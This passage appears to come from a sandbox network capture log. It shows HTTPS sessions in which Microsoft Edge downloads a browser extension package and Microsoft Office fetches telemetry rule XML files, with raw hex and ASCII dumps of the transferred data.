Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	60809	142.250.186.33	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:44 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 21:20:45 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC6Pt1G7TS0WlEdjz71mfRXONW7C1LJy7_SGCwK70d5jlJ81OiPZb1Cj5N9698ZjDwDlMuLanVThWg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 17 Nov 2024 17:26:51 GMT Expires: Mon, 17 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 14033 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-17 21:20:45 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-17 21:20:45 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	60819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:45 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:45 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212045Z-1866b5c5fbb2t6txhC1DFWa2qc00000004w0000000009892 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:45 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	60821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:45 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:45 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212045Z-16547b76f7fht2hfhC1DFWbngg00000005b00000000012ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:45 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	60820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:45 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:45 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212045Z-16547b76f7fzwxm2hC1DFWt5hw00000002hg0000000002kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:45 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	60822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:45 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:45 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212045Z-16547b76f7fl5zvnhC1DFWtk9g000000039000000000cfwg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:45 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	60831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:45 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:45 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212045Z-16547b76f7fzwxm2hC1DFWt5hw00000002e000000000by03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:45 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	60829	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
